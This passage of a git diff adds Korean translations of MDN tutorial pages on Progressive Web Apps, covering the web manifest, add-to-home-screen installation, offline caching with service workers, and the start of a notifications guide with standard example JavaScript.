+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Apps/Modern/Responsive/Mobile_first">모바일 우선</a> — 반응형 어플리케이션 레이아웃을 생성할 때, 보통 기본적으로 모바일 레이아웃을 생성하고, 더 넓은 상단 레이아웃을 구축하는 것이 좋습니다.</li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Add_to_home_screen">홈 화면에 추가 가이드</a> — 앱을 홈 화면에 추가하여 얻을 수 있는 이점에 대해 배우기.</li>
+</ul>
+</div>
+
+<div class="column-half">
+<h2 id="도구">도구</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a> — 아주 간단하게 클라이언트 사이드 데이터 저장소를 만들 수 있는 훌륭하고 가벼운 JavaScript 라이브러리. 기본적으로 IndexedDB를 사용하고 필요한 경우 Web SQL/Web Storage를 사용합니다.</li>
+ <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener">ServiceWorkerWare</a> — 손쉬운 Service Worker 개발을 위한 Express 같은 마이크로프레임워크.</li>
+ <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener">oghliner</a> — 템플릿이자 GitHub 페이지에 오프라인 웹 앱을 배포하기 위한 도구.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener">sw-precache</a> — 특정 리소스를 프리캐싱(미리 캐싱;precache)하는 service worker 코드를 생성하는 노드 모듈.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a> — 더 나은 캐싱 전략과 쉬운 프리캐싱을 제공하는 sw-precache의 정신적 지주.</li>
+ <li><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a> — 사이트가 사용자들을 위해 항상 존재하도록 해주는 작은 스크립트.</li>
+ <li><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">The service worker cookbook</a> — 오프라인 앱 및 그 이상의 다양한 앱 구현 방법을 보여주는 훌륭한 service worker/push 가이드 시리즈.</li>
+</ul>
+
+<p> </p>
+</div>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/progressive-web-apps">Progressive web apps</a> on Google Developers</li>
+ <li class="graf--h3 graf--first" id="4c45"><a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh">Progressive Web Apps: Escaping Tabs Without Losing Our Soul</a> by Alex Russell</li>
+ <li class="graf--h3 graf--first"><a href="https://developers.google.com/web/progressive-web-apps/checklist">Progressive Web Apps Check List</a></li>
+ <li class="graf--h3 graf--first"><a href="https://developers.google.com/web/tools/lighthouse">The Lighthouse Tool</a> by Google</li>
+ <li class="graf--h3 graf--first"><a href="https://github.com/angular/mobile-toolkit">Tools for building progressive web apps with Angular</a></li>
+ <li class="graf--h3 graf--first"><a href="https://github.com/codebusking/react-pwa-guide-kit">React PWA Guide Kit</a></li>
+ <li class="graf--h3 graf--first"><a href="https://www.pokedex.org/">Offline-capable Pokédex web site</a></li>
+ <li class="graf--h3 graf--first">
+  <p><a href="https://hnpwa.com/">Hacker News readers as Progressive Web Apps</a> </p>
+ </li>
+</ul>
diff --git a/files/ko/web/progressive_web_apps/installable_pwas/index.html b/files/ko/web/progressive_web_apps/installable_pwas/index.html
new file mode 100644
index 0000000000..df76c4ed2e
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/installable_pwas/index.html
@@ -0,0 +1,123 @@
+---
+title: PWA를 설치가능하게 만드는 방법
+slug: Web/Progressive_web_apps/Installable_PWAs
+tags:
+  - PWA
+  - a2hs
+  - js13kGames
+  - 설치가능
+  - 프로그레시브
+  - 프로그레시브 웹 앱
+  - 홈 화면에 추가
+translation_of: Web/Progressive_web_apps/Installable_PWAs
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">이전 문서에서는 <a href="/ko/docs/Web/API/Service_Worker_API">service worker</a>의 도움으로 <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> 을 오프라인에서 동작하는 방법에 대해 알아보았습니다. 그런데 우리는 더 나아가 모바일 브라우저를 지원하는 웹 앱을 네이티브 앱처럼 설치할 수 있게 할수도 있습니다. 이 문서에서는 웹 manifest를 사용해 홈 화면에 추가라고 불리는 기능을 구현하는 방법에 대해 설명합니다.</p>
+
+<p>이러한 기술들은 앱을 URL을 수동으로 브라우저에 입력하는 대신 기기의 홈 화면에서 바로 실행할 수 있도록 해줍니다. 여러분의 웹 앱을 네이티브 어플리케이션 바로 옆 가장 좋은 자리에 놓을 수 있습니다. 따라서 접근이 더 쉽고, 브라우저 주변 기능이 없는 전체 화면에서 실행되도록 지정하여 더욱 더 네이티브 앱과 같은 느낌을 줄 수 있습니다.</p>
+
+<h2 id="요구_사항">요구 사항</h2>
+
+<p>웹 사이트를 설치가능하게 하려면 다음과 같은 것들이 필요합니다.</p>
+
+<ul>
+ <li><a href="/ko/Apps/Progressive/Add_to_home_screen#Manifest">올바른 값들로 채워진</a> 웹 manifest</li>
+ <li>보안 (HTTPS) 도메인에서 제공되는 웹 사이트</li>
+ <li>기기에서 앱을 나타낼 아이콘</li>
+ <li>앱을 오프라인에서 동작하게 하기 위한 service worker 등록(현재 Android용 Chrome에서만 요구됩니다)</li>
+</ul>
+
+<h3 id="manifest_파일">manifest 파일</h3>
+
+<p>핵심 요소는 JSON 형식으로 웹 사이트에 대한 모든 정보를 나열한 웹 manifest 파일입니다.</p>
+
+<p>파일은 일반적으로 웹 앱의 루트 폴더에 위치합니다. 앱의 title, 모바일 OS에서 앱을 나타내는데 사용(예를 들어, 홈 화면 아이콘)되는 다른 크기의 아이콘들의 경로, 로딩 또는 스플래시 화면에서 사용할 배경 색상과 같은 유용한 정보들을 포함합니다. 이는 브라우저가 웹 앱을 설치할 때 그리고 홈 화면에서 웹 앱을 적절히 표현하기 위해 필요한 정보입니다.</p>
+
+<p><a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> 웹 앱의 <code>js13kpwa.webmanifest</code> 파일은 코드의 다음 라인을 통해 <code>index.html</code> 파일의 {{htmlelement("head")}} 섹션에 포함됩니다.</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;</pre>
+
+<div class="note">
+<p><strong>노트</strong>: 과거에 manifest로 사용되던 몇 가지 흔한 확장자들이 있습니다: <code>manifest.webapp</code> 은 Firefox OS 웹 manifest로 유명하며, 많은 사람들이 JSON 구조로 내용이 구성된 <code>manifest.json</code>을 사용합니다. 하지만, <code>.webmanifest</code> 확장자는 <a href="https://w3c.github.io/manifest/">W3C manifest 명세</a>에 명시적으로 언급되고 있으므로 이를 그대로 사용하도록 하겠습니다.</p>
+</div>
+
+<p>파일의 내용은 다음과 같습니다.</p>
+
+<pre class="brush: json">{
+    "name": "js13kGames Progressive Web App",
+    "short_name": "js13kPWA",
+    "description": "Progressive Web App that lists games submitted to the A-Frame category in the js13kGames 2017 competition.",
+    "icons": [
+        {
+            "src": "icons/icon-32.png",
+            "sizes": "32x32",
+            "type": "image/png"
+        },
+        // ...
+        {
+            "src": "icons/icon-512.png",
+            "sizes": "512x512",
+            "type": "image/png"
+        }
+    ],
+    "start_url": "/pwa-examples/js13kpwa/index.html",
+    "display": "fullscreen",
+    "theme_color": "#B12A34",
+    "background_color": "#B12A34"
+}</pre>
+
+<p>항목은 대부분은 스스로를 설명하고있지만, 문서를 분석하고 자세한 내용에 대해 설명해드리겠습니다.</p>
+
+<ul>
+ <li><code>name</code>: 웹 앱의 이름입니다.</li>
+ <li><code>short_name</code>: 홈 화면에 표시할 약식 이름입니다.</li>
+ <li><code>description</code>: 앱이 무엇을 하는지 설명하는 간략한 문장입니다.</li>
+ <li><code>icons</code>: 아이콘들의 정보(URL, 크기, 타입)입니다. 사용자의 기기에 적합한 것을 선택할 수 있도록 여러 개를 추가하시기 바랍니다.</li>
+ <li><code>start_url</code>: 앱이 시작할 때 실행할 초기 문서입니다.</li>
+ <li><code>display</code>: 앱을 표시하는 방식입니다(전체 화면, 독립형(standalone), 최소 UI, 또는 브라우저).</li>
+ <li><code>theme_color</code>: 운영 체제에 의해 사용될 UI를 위한 주요 색상입니다.</li>
+ <li><code>background_color</code>: 스플래시 화면과 설치하는 동안 사용될 배경 색상입니다.</li>
+</ul>
+
+<p>웹 manifest를 위한 최소 요구 사항은 <code>name</code>과 적어도 하나(<code>src</code>, <code>size</code>, <code>type</code>을 포함)의 아이콘입니다. <code>description</code>, <code>short_name</code>, <code>start_url</code>은 권장사항입니다. 위에서 나열한 항목 외 더 많은 항목들이 있습니다. <a href="/ko/docs/Web/Manifest">Web App Manifest 레퍼런스</a>에서 자세한 내용에 대해 확인하시기 바랍니다.</p>
+
+<h2 id="홈_화면에_추가">홈 화면에 추가</h2>
+
+<p>"홈 화면에 추가"(또는 간단히 a2hs)는 모바일 브라우저에서 구현된 기능으로, 앱의 웹 manifest에서 찾은 정보를 사용해 아이콘과 이름 정보로 기기의 홈 화면에서 앱을 나타냅니다. 이는 앱이 위에서 설명한 모든 필수 요구조건을 만족할때만 동작합니다.</p>
+
+<p>사용자가 모바일 브라우저를 지원하는 PWA에 방문할 때, PWA로써 앱 설치를 가능하게하는 배너가 나타나야합니다.</p>
+
+<p><img alt="Add to Home screen popup of js13kPWA." src="https://mdn.mozillademos.org/files/15928/js13kpwa-icon.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>사용자가 이 배너를 클릭하면 설치 배너가 나타납니다. 배너는 브라우저에의해 자동으로 생성되며, manifest 파일의 정보(프롬프트에 보여질 이름, 아이콘)를 기반으로합니다.</p>
+
+<p><img alt="Install banner of js13kPWA." src="https://mdn.mozillademos.org/files/15927/js13kpwa-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>사용자가 버튼을 클릭하면 앱이 어떻게 표시될지를 보여주며, 사용자에게 정말 앱 추가를 원하는지 선택하도록 하는 마지막 단계가 있습니다.</p>
+
+<p><img alt="Add to Home screen popup of js13kPWA." src="https://mdn.mozillademos.org/files/15926/js13kpwa-add.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>확인을 하면 앱이 홈 화면에 설치됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15834/js13kpwa-installed.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>그 후, 즉시 아이콘을 사용해 이를 실행하여 시작할 수 있습니다. PWA가 가끔(여러분이 사용하는 브라우저나 운영체제에 따라) 아이콘의 우측 하단에 작은 브라우저 이미지가 있어 사용자에게 웹 특성에 대한 정보를 줍니다.</p>
+
+<h3 id="스플래시_화면">스플래시 화면</h3>
+
+<p>일부 브라우저에서, PWA가 실행될 때 보여지는 스플래시 화면 역시 manifest의 정보로부터 생성됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15835/js13kpwa-splash.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>아이콘과 테마 그리고 배경 색상은 이 화면을 생성하기 위해 사용됩니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 문서에서는 웹 manifest와 홈 화면에 추가를 사용해 PWA를 설치가능하게 하는 방법에 대해 배웠습니다.</p>
+
+<p>홈 화면에 추가에 대한 자세한 내용은 <a href="/ko/docs/Web/Apps/Progressive/Add_to_home_screen">홈 화면에 추가 가이드</a>를 읽어보시기 바랍니다. 브라우저 지원은 현재 Android 용 Firefox 58+, 모바일 Chrome 및 Android 웹 뷰 31+, Android 32+ 용 Opera로 제한되어 있지만 가까운 장래에 개선 될 것입니다.</p>
+
+<p>이제 PWA 퍼즐의 마지막 조각(푸시 알림을 통한 재참여)으로 이동해봅시다.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/progressive_web_apps/offline_service_workers/index.html b/files/ko/web/progressive_web_apps/offline_service_workers/index.html
new file mode 100644
index 0000000000..9c9366b12c
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/offline_service_workers/index.html
@@ -0,0 +1,205 @@
+---
+title: Service worker를 사용해 PWA를 오프라인에서 동작하게 만들기
+slug: Web/Progressive_web_apps/Offline_Service_workers
+tags:
+  - PWA
+  - Service Worker
+  - js12kGames
+  - 오프라인
+  - 프로그레시브
+  - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps/Offline_Service_workers
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">우리는 js13kPWA의 구조와 기본적인 shell을 만들고 실행하는 것에 대해 살펴보았습니다. 이제 Service Worker를 사용해 오프라인 기능을 구현하는 방법에 대해 살펴봅시다. 이 문서에서는 <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA 예제</a>(<a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">소스 코드도 있습니다</a>)에서 어떻게 사용되었는지와 오프라인 기능을 추가하는 방법을 살펴봅니다.</p>
+
+<h2 id="Service_worker_설명">Service worker 설명</h2>
+
+<p>Service Worker는 브라우저와 네트워크 사이의 가상 프록시입니다. 이는 프론트엔드 개발자들이 수년간 어려움을 겪었던 문제들을 결국 해결하였습니다(특히 웹 사이트의 자원을 적절히 캐싱하는 방법과, 사용자의 기기가 오프라인일 때 이를 사용할 수 있도록 하는 것 등).</p>
+
+<p>이는 페이지의 메인 JavaScript 코드와 독립된 스레드에서 실행되며, DOM 구조에 대한 어떠한 접근도 갖지 않습니다. 이는 전통적인 웹 프로그래밍과 다른 접근법을 소개합니다. API는 비차단형(non-blocking)이며 여러 컨텍스트 사이에 커뮤니케이션을 주고 받을 수 있습니다. 여러분은 Service Worker에 어떤 작업을 전달할 수 있으며, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> 기반 접근법을 사용해 결과가 준비될때마다 전달받을 수 있습니다.</p>
+
+<p>Service Worker는 "단지" 오프라인 기능을 제공하는 것 이상으로 알림 처리, 독립된 스레드에서의 복잡한 계산 등 많은 것들을 할 수 있습니다. Service worker는 네트워크 요청을 제어하고 수정하며, 캐시로부터 반환된 커스텀 응답을 제공하거나 응답을 완전히 가공할 수도 있으므로 매우 강력합니다.</p>
+
+<h3 id="보안">보안</h3>
+
+<p>Service Worker는 매우 강력하기때문에 안전한 컨텍스트(HTTPS를 의미)에서만 실행됩니다. 코드를 상용으로 푸시하기전에 먼저 테스트하길 원하신다면, localhost에서 테스트하거나 GitHub Pages를 설정하면 됩니다. 둘 다 HTTPS를 지원합니다.</p>
+
+<h2 id="오프라인_우선">오프라인 우선</h2>
+
+<p>"오프라인 우선" — 또는 "캐시 우선" — 패턴은 사용자에게 컨텐츠를 제공하는 가장 유명한 전략입니다. 리소스가 캐싱되었고 오프라인 사용이 가능한 경우, 서버로부터 다운로드를 시도하기전에 캐시를 먼저 반환합니다. 캐시에 없는 경우, 다음 사용을 위해 다운로드하고 캐싱합니다.</p>
+
+<h2 id="PWA의_점진적">PWA의 "점진적"</h2>
+
+<p>점진적인 향상으로써 제대로 구현이 되면, service worker는 오프라인 지원을 제공하여 API를 지원하는 최신 브라우저를 사용하는 사용자에게 유용하지만, 구형 브라우저를 사용하는 사람들에게도 사이트 사용에 아무런 문제가 없습니다.</p>
+
+<h2 id="js13kPWA_앱의_Service_worker">js13kPWA 앱의 Service worker</h2>
+
+<p>이론은 충분합니다. 소스 코드를 봅시다!</p>
+
+<h3 id="Service_Worker_등록">Service Worker 등록</h3>
+
+<p>app.js 파일에서 새로운 Service Worker를 등록하는 코드를 살펴보는 것으로 시작할 것입니다.</p>
+
+<pre class="brush: js">if('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('/pwa-examples/js13kpwa/sw.js');
+};</pre>
+
+<p>브라우저에서 Service worker API를 지원한다면, {{domxref("ServiceWorkerContainer.register()")}} 메소드를 사용해 사이트에대해 등록됩니다. 컨텐츠는 sw.js 파일안에 있으며 등록이 성공한 후에 실행됩니다. 이것이 app.js 파일안에 있는 Service Worker 코드의 유일한 부분입니다. Service Worker에 대한 다른 모든 것들은 sw.js 파일에 작성되어 있습니다.</p>
+
+<h3 id="Service_Worker의_수명_주기">Service Worker의 수명 주기</h3>
+
+<p>등록이 완료되면, sw.js 파일은 자동으로 다운로드된 후 설치되고 마지막으로 활성화됩니다.</p>
+
+<h4 id="설치">설치</h4>
+
+<p>API는 우리가 관심있는 주요 이벤트에 대한 이벤트 리스너를 추가할 수 있게 해줍니다. 첫 번째 것은 <code>install</code> 이벤트 입니다.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(e) {
+    console.log('[Service Worker] Install');
+});</pre>
+
+<p><code>install</code> 리스너에서 캐시를 초기화하고 오프라인 사용을 위한 파일들을 추가할 수 있습니다. js13kPWA 앱도 정확히 그런 작업을 합니다.</p>
+
+<p>먼저, 캐시 이름을 저장할 변수를 생성하고, app shell 파일들을 하나의 배열에 나열합니다.</p>
+
+<pre class="brush: js">var cacheName = 'js13kPWA-v1';
+var appShellFiles = [
+  '/pwa-examples/js13kpwa/',
+  '/pwa-examples/js13kpwa/index.html',
+  '/pwa-examples/js13kpwa/app.js',
+  '/pwa-examples/js13kpwa/style.css',
+  '/pwa-examples/js13kpwa/fonts/graduate.eot',
+  '/pwa-examples/js13kpwa/fonts/graduate.ttf',
+  '/pwa-examples/js13kpwa/fonts/graduate.woff',
+  '/pwa-examples/js13kpwa/favicon.ico',
+  '/pwa-examples/js13kpwa/img/js13kgames.png',
+  '/pwa-examples/js13kpwa/img/bg.png',
+  '/pwa-examples/js13kpwa/icons/icon-32.png',
+  '/pwa-examples/js13kpwa/icons/icon-64.png',
+  '/pwa-examples/js13kpwa/icons/icon-96.png',
+  '/pwa-examples/js13kpwa/icons/icon-128.png',
+  '/pwa-examples/js13kpwa/icons/icon-168.png',
+  '/pwa-examples/js13kpwa/icons/icon-192.png',
+  '/pwa-examples/js13kpwa/icons/icon-256.png',
+  '/pwa-examples/js13kpwa/icons/icon-512.png'
+];</pre>
+
+<p>다음으로, data/games.js 파일의 컨텐츠와 함께 로딩될 이미지 링크가 두 번째 배열에 생성됩니다. 그런 다음, {{jsxref("Array.prototype.concat()")}} 함수를 사용해 두 배열을 병합합니다.</p>
+
+<pre class="brush: js">var gamesImages = [];
+for(var i=0; i&lt;games.length; i++) {
+  gamesImages.push('data/img/'+games[i].slug+'.jpg');
+}
+var contentToCache = appShellFiles.concat(gamesImages);</pre>
+
+<p>그러면 <code>install</code> 이벤트 자체를 관리할 수 있게 됩니다.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(e) {
+  console.log('[Service Worker] Install');
+  e.waitUntil(
+    caches.open(cacheName).then(function(cache) {
+          console.log('[Service Worker] Caching all: app shell and content');
+      return cache.addAll(contentToCache);
+    })
+  );
+});</pre>
+
+<p>여기서 두 가지에 대한 설명이 필요합니다: {{domxref("ExtendableEvent.waitUntil")}}이 무엇을 하는지, 그리고 {{domxref("caches","Caches")}} 객체가 무엇인지.</p>
+
+<p>Service worker는 <code>waitUntil</code> 안의 코드가 실행되기전까지 설치되지 않습니다. 이는 promise를 반환합니다. 설치에 약간의 시간이 걸릴 수 있으므로 완료될 때까지 기다려야하기 때문에 이 접근법이 필요합니다.</p>
+
+<p><code>Caches</code> 는 데이터를 저장할 수 있도록 주어진 Service Worker의 범위 내에서 사용할 수 있는 특별한 객체입니다. 웹 저장소는 동기적이므로 <a href="/ko/docs/Web/API/Web_Storage_API">웹 저장소</a>로의 저장은 동작하지 않을 것입니다. Service Worker는 Cache API를 대신 사용합니다.</p>
+
+<p>여기에 주어진 이름을 갖는 캐시를 열고 캐시에서 사용할 앱의 모든 파일을 추가하여 다음 로딩에서 사용할 수 있게됩니다(요청 URL로 식별됨).</p>
+
+<h4 id="활성화">활성화</h4>
+
+<p><code>install</code>과 같은 방식으로 사용되는 <code>activate</code> 이벤트도 있습니다. 이 이벤트는 일반적으로 더 이상 필요하지 않은 파일을 제거하고 앱이 끝난 후 정리하는데 사용됩니다. 우리 앱에서는 사용하지 않으므로 생략하겠습니다.</p>
+
+<h3 id="패치_응답">패치 응답</h3>
+
+<p>처리를 위한 <code>fetch</code> 이벤트도 있습니다. 이는 앱으로부터 HTTP 요청이 출발할 때 마다 발생합니다. 이는 요청을 가로채 커스텀 응답으로 응답할 수 있어 매우 유용합니다.<br>
+ 다음은 간단한 사용 예시입니다.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(e) {
+    console.log('[Service Worker] Fetched resource '+e.request.url);
+});</pre>
+
+<p>응답은 파일 요청, 캐시된 사본, 또는 특정 작업을 수행하는 JavaScript 코드 조각 등 원하는 어떠한것도 될 수 있습니다. 가능성은 무한합니다.</p>
+
+<p>예제 앱에서 우리는 리소스가 실제로 캐시에 있는한 네트워크 대신 캐시로부터 컨텐츠를 제공합니다. 앱이 온라인이든 오프라인이든간에 이렇게 수행합니다. 파일이 캐시에 없을 경우, 이를 제공하기 전에 먼저 캐시에 추가합니다.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(e) {
+  e.respondWith(
+    caches.match(e.request).then(function(r) {
+          console.log('[Service Worker] Fetching resource: '+e.request.url);
+      return r || fetch(e.request).then(function(response) {
+                return caches.open(cacheName).then(function(cache) {
+          console.log('[Service Worker] Caching new resource: '+e.request.url);
+          cache.put(e.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<p>여기에서 우리는 리소스를 찾고 존재할 경우 응답을 반환하는 함수로 패치 이벤트에 응답합니다. 응답이 없을 경우 다른 패치 요청을 사용해 네트워크로부터 패치한 후 캐시에 응답을 저장하여 다음 요청에서 사용할 수 있도록 합니다.</p>
+
+<p>{{domxref("FetchEvent.respondWith")}} 메소드가 제어를 대신합니다. 이는 앱과 네트워크 사이의 프록시 서버로서 기능하는 부분입니다. 이는 Service Worker에 의해 준비되고, 캐시로부터 가져와, 필요한 경우 수정하여 모든 요청에 대해 우리가 원하는 응답을 할 수 있게 해줍니다.</p>
+
+<p>이게 다입니다! 우리 앱은 설치에서 자원을 캐싱하고 캐시로부터 이를 패치하여 전달함으로 사용자가 오프라인인 경우에도 동작합니다. 새로운 컨텐츠가 추가되면 역시 캐싱합니다.</p>
+
+<h2 id="업데이트">업데이트</h2>
+
+<p>다뤄야 할 하나가 더 남았습니다. 새 자원을 포함하는 앱의 새 버전이 사용가능할 때 어떻게 Service Worker를 업그레이드하나요? 캐시 이름안의 버전 넘버가 핵심입니다.</p>
+
+<pre class="brush: js">var cacheName = 'js13kPWA-v1';</pre>
+
+<p>v2로 업데이트했을 때, 새 캐시에 모든 파일(새 파일들을 포함)을 추가할 수 있습니다.</p>
+
+<pre class="brush: js">contentToCache.push('/pwa-examples/js13kpwa/icons/icon-32.png');
+
+// ...
+
+self.addEventListener('install', function(e) {
+  e.waitUntil(
+    caches.open('js13kPWA-v2').then(function(cache) {
+      return cache.addAll(contentToCache);
+    })
+  );
+});</pre>
+
+<p>새 service worker가 백그라운드에서 설치되고 이전의 것(v1)이 사용하는 페이지가 없을 때까지 올바르게 동작합니다. 새로운 Service Worker는 그 후 활성화되고 이전의 것으로부터 페이지의 관리를 넘겨받습니다.</p>
+
+<h2 id="캐시_지우기">캐시 지우기</h2>
+
+<p>생략했던 <code>activate</code> 이벤트를 기억하시나요? 더 이상 필요하지 않은 오래된 캐시를 지우는데 사용할 수 있습니다.</p>
+
+<pre class="brush: js">self.addEventListener('activate', function(e) {
+  e.waitUntil(
+    caches.keys().then(function(keyList) {
+          return Promise.all(keyList.map(function(key) {
+        if(cacheName.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});</pre>
+
+<p>이는 캐시에 우리가 필요한 파일만 있도록 보장하여, 불필요한 파일을 남기지 않게 됩니다. <a href="/ko/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">브라우저에서 사용가능한 캐시 공간은 제한적</a>이므로 이를 지우는 것은 우리 스스로를 위한 좋은 아이디어입니다.</p>
+
+<h2 id="다른_유즈_케이스">다른 유즈 케이스</h2>
+
+<p>캐시로부터 파일들을 전달하는 것은 Service Worker가 제공하는 유일한 기능이 아닙니다. 복잡한 계산을 해야하는 경우, 메인 스레드로부터 이를 분리하여 worker에서 수행하도록 하고 결과가 나오는대로 받을 수 있습니다. 성능 측면에서 볼 때, 지금 당장 필요하지는 않지만 가까운 미래에 필요할 수도 있는 리소스를 미리 패치하여 실제로 그 리소스들을 필요로할 때 앱이 더 빨라집니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 문서에서는 service worker를 사용해 PWA가 오프라인에서 동작하도록 만드는 방법에 대해 간략히 살펴보았습니다. <a href="/ko/docs/Web/API/Service_Worker_API">Service Worker API</a>의 개념과 사용 방법에 대한 더 자세한 내용을 배우시려면 우리의 추가 문서를 확인하시기 바랍니다.</p>
+
+<p>Service Worker는 <a href="/en-US/docs/Web/API/Push_API">푸시 알림</a>을 처리할 때에도 사용됩니다. 이는 이어지는 문서에서 설명할 것입니다.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/progressive_web_apps/re-engageable_notifications_push/index.html b/files/ko/web/progressive_web_apps/re-engageable_notifications_push/index.html
new file mode 100644
index 0000000000..83a5e4ff4e
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/re-engageable_notifications_push/index.html
@@ -0,0 +1,253 @@
+---
+title: 알림과 푸시를 사용해 PWA를 재참여(re-engageable)가능하게 만드는 방법
+slug: Web/Progressive_web_apps/Re-engageable_Notifications_Push
+tags:
+  - PWA
+  - js13kGames
+  - 알림
+  - 푸시
+  - 프로그레시브
+  - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps/Re-engageable_Notifications_Push
+---
+<div>{{PreviousMenu("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">앱을 오프라인에서 동작하도록 컨텐츠를 캐싱하는 능력은 훌륭한 기능입니다. 사용자가 홈 화면에 웹 앱을 설치하도록 허용하는 것은 더 좋습니다. 하지만, 사용자의 동작에 의존하는 대신 푸시 메시지와 알림을 사용해 새로운 컨텐츠가 있을때 이를 전달하여 사용자를 자동으로 다시 참여하도록 할 수 있습니다.</p>
+
+<h2 id="두_개의_API_하나의_목적">두 개의 API, 하나의 목적</h2>
+
+<p><a href="/ko/docs/Web/API/Push_API">Push API</a>와 <a href="/ko/docs/Web/API/Notifications_API">Notifications API</a>는 두 개의 독립된 API이지만, 여러분의 앱에 재참여 기능을 제공하려고 할 때 함께 잘 동작합니다. Push는 클라이언트 사이드의 관여 없이 서버로부터 앱으로 새로운 컨텐츠를 전달하는데 사용되며, 이 작업은 앱의 service worker에 의해 처리됩니다. Notification은 service worker에 의해 사용자에게 새로운 정보를 보여주거나 무언가 업데이트 되었음을 알리는데 사용됩니다.</p>
+
+<p>두 API는 service worker와 마찬가지로 브라우저 창의 바깥에서 동작하기때문에 앱의 페이지를 보고 있지 않거나 심지어 종료되었을 때도 업데이트 푸시를 보내거나 알림을 보여줄 수 있습니다.</p>
+
+<h2 id="Notifications">Notifications</h2>
+
+<p>알림으로 시작해봅시다. 알림은 푸시 없이도 동작하지만, 푸시와 결합했을 때 매우 유용합니다. 먼저 독립적으로 보도록하겠습니다.</p>
+
+<h3 id="권한_요청">권한 요청</h3>
+
+<p>알림을 보여주려면 먼저 권한을 요청해야 합니다. 즉시 알림을 보여주는대신 사용자가 버튼을 클릭하여 팝업을 요청할 때 요청 팝업을 보여주는 것이 좋은 사용법입니다.</p>
+
+<pre class="brush: js">var button = document.getElementById("notifications");
+button.addEventListener('click', function(e) {
+    Notification.requestPermission().then(function(result) {
+        if(result === 'granted') {
+            randomNotification();
+        }
+    });
+});</pre>
+
+<p>팝업은 운영체제가 가진 알림 서비스를 사용해 보여집니다.</p>
+
+<p><img alt="Notification of js13kPWA." src="https://mdn.mozillademos.org/files/15930/js13kpwa-notification.png" style="display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>사용자가 알림 수신을 확인하면 앱이 알림을 보여줄 수 있습니다. 사용자는 기본, 승인 또는 거절을 선택할 수 있습니다. 기본 옵션은 사용자가 선택할 수 없을 때 사용되며, 다른 두 옵션은 사용자가 예 또는 아니오를 선택했을 때 사용됩니다.</p>
+
+<p>승인이 되면, 권한은 알림과 푸시 모두에 대해 동작합니다.</p>
+
+<h3 id="알림_생성">알림 생성</h3>
+
+<p>예시 앱은 사용가능한 데이터를 알림으로 생성합니다. 게임은 무작위로 선택되며, 선택된 것은 게임의 이름을 title로, 제작자를 body로, 이미지를 아이콘으로 보여주는 컨텐츠를 알림으로 제공합니다.</p>
+
+<pre class="brush: js">function randomNotification() {
+    var randomItem = Math.floor(Math.random()*games.length);
+    var notifTitle = games[randomItem].name;
+    var notifBody = 'Created by '+games[randomItem].author+'.';
+    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
+    var options = {
+        body: notifBody,
+        icon: notifImg
+    }
+    var notif = new Notification(notifTitle, options);
+    setTimeout(randomNotification, 30000);
+}</pre>
+
